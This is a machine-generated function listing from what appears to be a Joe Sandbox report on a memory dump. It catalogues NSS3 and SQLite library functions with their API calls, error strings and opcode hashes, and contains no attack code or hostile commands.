Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 1c03d9465a7c17c418e491f419585d7545cfe17d793224079eafadf951c0b653
Instruction ID: 2842cce18f61d19f377ce7b6912905fe1eee38842525082a25dcb56d3a4c9665
Opcode Fuzzy Hash: 1c03d9465a7c17c418e491f419585d7545cfe17d793224079eafadf951c0b653
Instruction Fuzzy Hash: 42A1A072E001259BDB04CB69CC84BDEB7B5BF4C328F094179D905A7351E736AC45CBA0

Function 6C728D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7714E4,6C6DCC70), ref: 6C728D47
PR_GetCurrentThread.NSS3 ref: 6C728D98

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C728E7B
htons.WSOCK32(?), ref: 6C728EDB
PR_GetCurrentThread.NSS3 ref: 6C728F99
PR_GetCurrentThread.NSS3 ref: 6C72910A

Strings

%u.%u.%u.%u, xrefs: 6C728E74

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 8dbcc5da5d8b393753e9436fab9ad060c7103cc97a30918f547c333ed43c0396
Instruction ID: 1982ddae8e85386e511e874bf006cfb9145f32b0d16c3304e04faa149127618e
Opcode Fuzzy Hash: 8dbcc5da5d8b393753e9436fab9ad060c7103cc97a30918f547c333ed43c0396
Instruction Fuzzy Hash: 0802BB329052558FDB18CF1AC568766BBA2EF52344F2DC26ECC915BAD2C33AD909C790

Function 6C6CA480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C6EC3A2,?,?,00000000,00000000), ref: 6C6CA528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6CA6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6CA71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6CA738

Strings

%s at line %d of [%.10s], xrefs: 6C6CA6D9
database corruption, xrefs: 6C6CA6D4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6CA6CA

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: c97cdfbd4b75a32f8b16456d1e2e32e61c36ac132e1c166e480c1359bb65d9a6
Instruction ID: 1e5d32af755bfd46ddefac4c72a114d4d9850776490057d3b1a33251aa0d74e4
Opcode Fuzzy Hash: c97cdfbd4b75a32f8b16456d1e2e32e61c36ac132e1c166e480c1359bb65d9a6
Instruction Fuzzy Hash: 8F91D170B083518BC714CF29C48065AB7E1FF88314F458A6DE8958BB92EB34EC85C79B

Function 6C6A68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C6A68FC
PR_EnterMonitor.NSS3 ref: 6C6A6924

Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90AB
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D90C9
Part of subcall function 6C6D9090: EnterCriticalSection.KERNEL32 ref: 6C6D90E5
Part of subcall function 6C6D9090: TlsGetValue.KERNEL32 ref: 6C6D9116
Part of subcall function 6C6D9090: LeaveCriticalSection.KERNEL32 ref: 6C6D913F

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

PR_EnterMonitor.NSS3 ref: 6C6A693E
TlsGetValue.KERNEL32 ref: 6C6A6977
TlsGetValue.KERNEL32 ref: 6C6A69B8
PR_ExitMonitor.NSS3 ref: 6C6A6B1E
PR_ExitMonitor.NSS3 ref: 6C6A6B39
TlsGetValue.KERNEL32 ref: 6C6A6B62

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 4fb88fafebadc629bce0c89c756cda5a7bdfdbc48719b09cb388b2c3649ddd05
Instruction ID: 2f3114250925a0840f541816d8c0317e528cb570b828bca3297da6b37aee68ce
Opcode Fuzzy Hash: 4fb88fafebadc629bce0c89c756cda5a7bdfdbc48719b09cb388b2c3649ddd05
Instruction Fuzzy Hash: 43919174658200CBDB40DF6DC58059D7BA2FB87308B62C2A9C844DFA29C771DD93CB9A

Function 6C5AEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C5AF0AB, 6C5AF2DA, 6C5AF757, 6C5AF93E
there is already an index named %s, xrefs: 6C5AF9D7
sqlite_temp_master, xrefs: 6C5AF0A6, 6C5AF2D5
temporary table name must be unqualified, xrefs: 6C5AF734
view, xrefs: 6C5AF061, 6C5AF071, 6C5AFAB7
authorizer malfunction, xrefs: 6C5AF95C, 6C5AF9BF, 6C5AFA5E, 6C5AFA8B
table, xrefs: 6C5AF05C, 6C5AFABC, 6C5AFAC7
not authorized, xrefs: 6C5AF957, 6C5AF9BA
%s %T already exists, xrefs: 6C5AFAC8

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 02f7478375dfdf2631bc1f7202ad5637440815d8443bd37f3801218e535f2495
Instruction ID: 3e0203d7f419b86d5be4a2937124a3a8b85a0d0c674e822c74a269bc86a7e64d
Opcode Fuzzy Hash: 02f7478375dfdf2631bc1f7202ad5637440815d8443bd37f3801218e535f2495
Instruction Fuzzy Hash: 22726F70E042058FDB14CFAAC884BADBBF1FF89308F1582A9D9159B752D775E846CB90

Function 6C6309A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6306A0: TlsGetValue.KERNEL32 ref: 6C6306C2
Part of subcall function 6C6306A0: EnterCriticalSection.KERNEL32(?), ref: 6C6306D6
Part of subcall function 6C6306A0: PR_Unlock.NSS3 ref: 6C6306EB

memcmp.VCRUNTIME140(00000000,6C619B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C619B8A,00000000,k-al), ref: 6C6309D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C619B8A,00000000,k-al), ref: 6C6309F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C619B8A,00000000,k-al), ref: 6C630A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C619B8A,00000000,k-al), ref: 6C630A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C619B8A,00000000,k-al), ref: 6C630A48

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: af8f8115b14901d0839646ff7fa49507802fd1cda602d900c82decd3ed87f4af
Instruction ID: 7d4b03b839fa55d69e2e58b0c6f694dfd5fb073884656fd92cfb6edb6c3ce9cc
Opcode Fuzzy Hash: af8f8115b14901d0839646ff7fa49507802fd1cda602d900c82decd3ed87f4af
Instruction Fuzzy Hash: 4402F3B1E002149FEB008F65DC41BAB77B9FF49318F142129DD0AA7B52E735E909CB99

Function 6C5F0820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C5F11D2

Strings

authorizer malfunction, xrefs: 6C5F1BD2
@, xrefs: 6C5F0B17
not authorized, xrefs: 6C5F175E, 6C5F1763
rows deleted, xrefs: 6C5F17D2

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: 6f42e5d296beb15e87f705b754fa6d633ea4acb2fe26855be1860df2e9401dba
Instruction ID: b2fa5befecdf41e5ec48b1921c85483f11a3d798bb58e38b14a9fd16387880e1
Opcode Fuzzy Hash: 6f42e5d296beb15e87f705b754fa6d633ea4acb2fe26855be1860df2e9401dba
Instruction Fuzzy Hash: A0D26E70E04259CFDB19CFA9C884B9EBBB1BF89308F188159D425ABB51D771E856CF80

Function 6C6BC9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6C6BCEA5

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 09b445a9e2fe2128a7d89f3a073909f4c40ef06ba4c3726dccffe7cd56180e2d
Instruction ID: 6711124b31fe8f9c25a3fa394a3af5aea3e7698de80108a77a5bd69ab665e0b3
Opcode Fuzzy Hash: 09b445a9e2fe2128a7d89f3a073909f4c40ef06ba4c3726dccffe7cd56180e2d
Instruction Fuzzy Hash: C571A471A057019FC704CF28C44062ABBE5FF89314F258A2EF4A9DB7A0E730D956CB55

Function 6C624420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C624444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C624466

Part of subcall function 6C671200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C671228
Part of subcall function 6C671200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C671238
Part of subcall function 6C671200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67124B
Part of subcall function 6C671200: PR_CallOnce.NSS3(6C772AA4,6C6712D0,00000000,00000000,00000000,?,6C6188A4,00000000,00000000), ref: 6C67125D
Part of subcall function 6C671200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C67126F
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C671280
Part of subcall function 6C671200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C67128E
Part of subcall function 6C671200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C67129A
Part of subcall function 6C671200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6712A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C62447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C62448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C624494

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: 2d6997eb60549d1a0d443c3e51351d29b68c49d67747148383f7c3cb5dda0265
Instruction ID: 97868a6516107a1d69f5dde2b8bcfc4ca66c756c7e95ebf7716eab380134b37c
Opcode Fuzzy Hash: 2d6997eb60549d1a0d443c3e51351d29b68c49d67747148383f7c3cb5dda0265
Instruction Fuzzy Hash: 6F1190B2D007049BD7208F25DD805B7B7F8FF59318B044B2EE89E92A00F375B5988A95

Function 6C72CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C72D086
PR_Malloc.NSS3(00000001), ref: 6C72D0B9
PR_Free.NSS3(?), ref: 6C72D138

Strings

>, xrefs: 6C72CF5B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 91ab33641e359320bb3efa9a610a09c6a7a9edba9b25513ce8861a1be03e4a13
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: FDD17A62B445560BFB24487C8EA13EAB7978B723B4F684339D5218BFE5E61DC843C345

Function 6C5AAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5AAE9F
Prl, xrefs: 6C5AADDB, 6C5AADF5, 6C5AAE6A
prl, xrefs: 6C5AADA7
0rl, xrefs: 6C5AACC0, 6C5AAD22, 6C5AAD5E, 6C5AAE45
winUnlock, xrefs: 6C5AAE18

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID: 0rl$Prl$prl$winUnlock$winUnlockReadLock
API String ID: 0-407338023
Opcode ID: f6a1445abeea0196a933e93d140d2af33c0b541690c7375336e74d973bf753ab
Instruction ID: a48ae4fcf93c1f2512f9a8565870187f7697f50ed2c2c03b3010e43515042b5d
Opcode Fuzzy Hash: f6a1445abeea0196a933e93d140d2af33c0b541690c7375336e74d973bf753ab
Instruction Fuzzy Hash: 84718D70608304ABDB04CF29DC94AABBBF5FF89314F14C629F95997211D730A986CBA1

Function 6C6CAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f24b642774a8fef730bcab3b2fe97f1bcea2e1635a8f5bd7477d45cef621f90
Instruction ID: e9c9f4b0963f9fd4e702333da25b28a74bc1dfd08c8f526004428b5628454188
Opcode Fuzzy Hash: 5f24b642774a8fef730bcab3b2fe97f1bcea2e1635a8f5bd7477d45cef621f90
Instruction Fuzzy Hash: E4F1E171F0522A8BDB05CF2AC9543B977F0EB8A308F254239C945E7B50EB709941CBE6

Function 6C680E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C681052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C681086

Strings

h(hl, xrefs: 6C681062, 6C68105D, 6C680F37, 6C681081, 6C681082
h(hl, xrefs: 6C680E55, 6C680EC4, 6C680F3A, 6C680FA7

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(hl$h(hl
API String ID: 1297977491-4192407294
Opcode ID: cc9c828c9a6b4fad5afa9d3d0c602051c52f147f2dc927220418e3041c18a139
Instruction ID: 8086ba0dc79dc4e93d9b812c22174f702cf1ff9910e3ad24fdb9701887a2f197
Opcode Fuzzy Hash: cc9c828c9a6b4fad5afa9d3d0c602051c52f147f2dc927220418e3041c18a139
Instruction Fuzzy Hash: B9A14F71B0225A9FDF08CF99C894AEEBBB6BF4D314B148129E915A7700D735EC11CBA4

Function 6C5F6900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

sqlite\_%, xrefs: 6C5F6953
BBB, xrefs: 6C5F7207, 6C5F780B
authorizer malfunction, xrefs: 6C5F7910
not authorized, xrefs: 6C5F78EC, 6C5F78F1

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 2cfc887afada67e0929b46b22ec680b87f3afdabc808787e0b9de21dc7127171
Instruction ID: 4c039af1afeec49d9b09b787352ed4f027396d752f26687a8f204f29bc53c913
Opcode Fuzzy Hash: 2cfc887afada67e0929b46b22ec680b87f3afdabc808787e0b9de21dc7127171
Instruction Fuzzy Hash: 95C28274A00205CFDB18CF59C880AAEBBF2FF89308F24816DD9259B755D736A956CF90

Function 6C5E64D0 Relevance: 5.7, Strings: 4, Instructions: 724COMMON

Download Yara Rule

Strings

WB[l, xrefs: 6C5E679E
authorizer malfunction, xrefs: 6C5E6E3E
WB[l, xrefs: 6C5E655C
not authorized, xrefs: 6C5E6D47, 6C5E6D4C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
